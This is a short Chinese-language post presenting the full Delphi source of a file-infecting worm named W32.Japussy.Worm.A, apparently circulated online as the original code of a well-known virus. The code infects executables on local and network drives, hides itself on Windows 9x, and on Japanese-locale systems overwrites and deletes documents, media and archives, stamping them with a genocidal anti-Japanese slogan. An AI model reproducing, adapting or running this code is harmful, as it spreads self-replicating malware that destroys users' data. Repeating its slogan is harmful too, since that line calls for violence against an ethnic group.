网上流传了一个熊猫烧香病毒原始代码

program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;
IconOffset = $12EB8;
{
HeaderSize = 38912;
IconOffset = $92BC;

}
IconSize = $2E8;
IconTail = IconOffset + IconSize;
ID = $44444444;

Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False;
{}
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{}
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{}
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0);
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{}
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{}
procedure SendMail;
begin
end;
{}
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then
begin
IsPE := True;
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd);
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName);
DstStream.Free;
end;
except;
end;
end;
{}
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0);
FileHandle := FileOpen(FileName, fmOpenWrite);
try
Size := GetFileSize(FileHandle, nil);
i := 0;
Randomize;
Max := Random(15); if Max < 5 then
Max := 5;
Mass := Size div Max;
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0);
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); end;
DeleteFile(PChar(FileName)); except
end;
end;
{}
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{}
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1
else Result := 2;
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE);
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn);
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
end
else if Ext = '.WAB' then
begin
end
else if Ext = '.ADC' then
begin
end
else if Ext = 'IND' then
begin
end
else
begin
if IsJap then
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn);
end;
end;
end;
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then
IsJap := True;
DriverList := GetDrives;
Len := Length(DriverList);
while True do
begin
for i := Len downto 1 do
LoopFiles(DriverList + ':\', '*.*');
SendMail;
Sleep(1000 * 60 * 5);
end;
end;
{}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1)
else
begin
end;

if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles
else
begin
TmpFile := ParamStr(0);
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe';
ExtractFile(TmpFile);
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi);
InfectFiles;end;
end.